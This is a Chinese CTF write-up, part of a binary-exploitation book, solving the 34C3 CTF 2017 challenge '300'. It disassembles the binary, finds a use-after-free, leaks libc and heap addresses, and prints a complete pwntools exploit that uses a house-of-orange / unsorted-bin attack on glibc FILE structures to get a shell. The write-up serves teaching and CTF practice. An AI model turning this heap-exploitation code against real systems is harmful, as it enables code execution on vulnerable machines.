- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
6.1.26 pwn 34C3CTF2017 300
题目复现
$ file 300
300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped
$ checksec -f 300
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 300
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.
64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。
在 Ubuntu16.10 上玩一下:
) alloc
2) write
3) print
4) free
1 <-- alloc 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2
slot? (0-9)
1 <-- write 1
AAAAAAAAAAAAAAAA
1) alloc
2) write
3) print
4) free
4 <-- free 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2 <-- write 1
slot? (0-9)
1
BBBBBBBB
1) alloc
2) write
3) print
4) free
3 <-- print 1
slot? (0-9)
1
BBBBBBBB
AAAAAAA
1) alloc
2) write
3) print
4) free
3 <-- print 2
slot? (0-9)
2
Segmentation fault (core dumped)
很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 \x00
导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。
题目解析
main
[0x00000790]> pdf @ main
/ (fcn) main 180
| main ();
| ; var int local_20h @ rbp-0x20
| ; var int local_14h @ rbp-0x14
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x000007ad (entry0)
| 0x00000a91 push rbp
| 0x00000a92 mov rbp, rsp
| 0x00000a95 sub rsp, 0x20
| 0x00000a99 mov dword [local_14h], edi
| 0x00000a9c mov qword [local_20h], rsi
| ; CODE XREF from 0x00000b40 (main)
| .-> 0x00000aa0 mov eax, 0
| : 0x00000aa5 call sym.menu
| : 0x00000aaa mov eax, 0
| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
| : 0x00000ab4 mov dword [local_8h], eax
| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
| : 0x00000abe call sym.myputs
| : 0x00000ac3 mov eax, 0
| : 0x00000ac8 call sym.read_int ; 读入 slot
| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
| : 0x00000ad0 cmp dword [local_4h], 0
| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
| ||: ; CODE XREF from 0x00000ad4 (main)
| |`--> 0x00000adc mov edi, 0
| | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
| | : ; CODE XREF from 0x00000ada (main)
| `---> 0x00000ae6 mov eax, dword [local_8h]
| : 0x00000ae9 cmp eax, 2
| ,==< 0x00000aec je 0xb12 ; write
| |: 0x00000aee cmp eax, 2
| ,===< 0x00000af1 jg 0xafa
| ||: 0x00000af3 cmp eax, 1
| ,====< 0x00000af6 je 0xb06 ; alloc
| ,=====< 0x00000af8 jmp 0xb36
| ||||: ; CODE XREF from 0x00000af1 (main)
| ||`---> 0x00000afa cmp eax, 3
| ||,===< 0x00000afd je 0xb1e ; print
| ||||: 0x00000aff cmp eax, 4
| ,======< 0x00000b02 je 0xb2a ; free
| ,=======< 0x00000b04 jmp 0xb36
| ||||||: ; CODE XREF from 0x00000af6 (main)
| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
| ||| ||: 0x00000b09 mov edi, eax
| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
| |||,====< 0x00000b10 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000aec (main)
| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
| ||||| : 0x00000b15 mov edi, eax
| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
| |||||,==< 0x00000b1c jmp 0xb40
| ||||||: ; CODE XREF from 0x00000afd (main)
| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
| |||| |: 0x00000b21 mov edi, eax
| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
| ||||,===< 0x00000b28 jmp 0xb40
| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
| | ||||: 0x00000b2d mov edi, eax
| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
| |,======< 0x00000b34 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000b04 (main)
| ||||||: ; CODE XREF from 0x00000b03 (main)
| ||||||: ; CODE XREF from 0x00000af8 (main)
| `-`-----> 0x00000b36 mov edi, 0
| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
| | |||| ; CODE XREF from 0x00000b28 (main)
| | |||| ; CODE XREF from 0x00000b34 (main)
| | |||| ; CODE XREF from 0x00000b1c (main)
| | |||| ; CODE XREF from 0x00000b10 (main)
\ `-````=< 0x00000b40 jmp 0xaa0
从 main 函数中我们知道,程序的所有操作都是基于 slot。
alloc
[0x00000790]> pdf @ sym.alloc_it
/ (fcn) sym.alloc_it 51
| sym.alloc_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b0b (main)
| 0x000009ca push rbp
| 0x000009cb mov rbp, rsp
| 0x000009ce sub rsp, 0x10
| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x000009d5 mov edi, 0x300
| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
| 0x000009df mov rcx, rax
| 0x000009e2 mov eax, dword [local_4h]
| 0x000009e5 cdqe
| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
| 0x000009ef lea rax, obj.allocs ; 0x202040
| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
| 0x000009fa nop
| 0x000009fb leave
\ 0x000009fc ret
[0x00000790]> px 0x8*10 @ obj.allocs
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................
该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 0x202040
开始的数组 allocs 中。
write
[0x00000790]> pdf @ sym.write_it
/ (fcn) sym.write_it 56
| sym.write_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b17 (main)
| 0x000009fd push rbp
| 0x000009fe mov rbp, rsp
| 0x00000a01 sub rsp, 0x10
| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a08 mov eax, dword [local_4h]
| 0x00000a0b cdqe
| 0x00000a0d lea rdx, [rax*8]
| 0x00000a15 lea rax, obj.allocs ; 0x202040
| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a20 mov edx, 0x300
| 0x00000a25 mov rsi, rax
| 0x00000a28 mov edi, 0
| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
| 0x00000a32 nop
| 0x00000a33 leave
\ 0x00000a34 ret
该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 \x00
,可能导致信息泄露。
[0x00000790]> pdf @ sym.print_it
/ (fcn) sym.print_it 46
| sym.print_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b23 (main)
| 0x00000a35 push rbp
| 0x00000a36 mov rbp, rsp
| 0x00000a39 sub rsp, 0x10
| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a40 mov eax, dword [local_4h]
| 0x00000a43 cdqe
| 0x00000a45 lea rdx, [rax*8]
| 0x00000a4d lea rax, obj.allocs ; 0x202040
| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a58 mov rdi, rax
| 0x00000a5b call sym.myputs ; 打印
| 0x00000a60 nop
| 0x00000a61 leave
\ 0x00000a62 ret
该函数用于打印 slot 对应空间中的字符串。
free
[0x00000790]> pdf @ sym.free_it
/ (fcn) sym.free_it 46
| sym.free_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b2f (main)
| 0x00000a63 push rbp
| 0x00000a64 mov rbp, rsp
| 0x00000a67 sub rsp, 0x10
| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a6e mov eax, dword [local_4h]
| 0x00000a71 cdqe
| 0x00000a73 lea rdx, [rax*8]
| 0x00000a7b lea rax, obj.allocs ; 0x202040
| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a86 mov rdi, rax
| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
| 0x00000a8e nop
| 0x00000a8f leave
\ 0x00000a90 ret
该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。
漏洞利用
从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。
leak
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 \x00
截断(heap 基地址的低位 0x00
)。然后释放掉 1 和 3 即可。
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
0x555555757330: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757940-0x10
0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
0x555555757950: 0x0000000000000000 0x0000000000000000
house of orange
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/34gx 0x0000555555757c50-0x10
0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
0x555555757c50: 0x4141414141414141 0x4141414141414141
0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
0x555555757ca0: 0x0000000000000000 0x0000000000000000
0x555555757cb0: 0x0000000000000000 0x0000000000000000
0x555555757cc0: 0x0000000000000000 0x0000000000000000
0x555555757cd0: 0x0000000000000000 0x0000000000000000
0x555555757ce0: 0x0000000000000000 0x0000000000000000
0x555555757cf0: 0x0000000000000000 0x0000000000000000
0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
0x555555757d10: 0x0000000000000000 0x0000000000000000
0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
gef➤ x/12gx 0x7ffff7dd1bb8-0x50
0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
对于 vtable 的利用,上一节我们使用了 _IO_str_overflow
函数,这次我们就用 _IO_wstr_finish
函数。具体怎么用请查看章节 4.13。
值得注意的是 fp->_wide_data
指向了 fake chunk,所以就相当于我们复用了这一块空间,fp->_IO_write_end
的地方也是就是 fp->wide_data->buf_base
。
接下来利用 unsorted bin attack 修改 _IO_list_all
指向 &unsorted_bin-0x10
,而偏移 0x60 的地方就是 _IO_list_all->_chain
,即 smallbins[5],指向了 fake chunk。
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/4gx 0x00007ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
gef➤ x/14gx 0x00007ffff7dd1b58
0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
pwn
def pwn():
alloc(5) # abort routine
io.interactive()
最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish
,获得 shell。
开启 ASLR,Bingo!!!
$ python exp.py
[+] Starting local process './300': pid 5158
[*] libc_base address: 0x7efdcef24000
[*] heap address: 0x5624a7a3c000
[*] _IO_list_all address: 0x7efdcf2e6500
[*] system address: 0x7efdcef696a0
[*] /bin/sh address: 0x7efdcf0aec40
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
[*] Switching to interactive mode
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
======= Backtrace: =========
$ whoami
firmy
exploit
完整的 exp 如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')
def alloc(idx):
io.sendlineafter("free\n", '1')
io.sendlineafter("(0-9)\n", str(idx))
def write(idx, data):
io.sendlineafter("free\n", '2')
io.sendlineafter("(0-9)\n", str(idx))
io.sendline(data)
def printt(idx):
io.sendlineafter("free\n", '3')
io.sendlineafter("(0-9)\n", str(idx))
def free(idx):
io.sendlineafter("free\n", '4')
io.sendlineafter("(0-9)\n", str(idx))
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
def pwn():
alloc(5) # abort routine
io.interactive()
if __name__ == '__main__':
leak()
house_of_orange()
pwn()
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论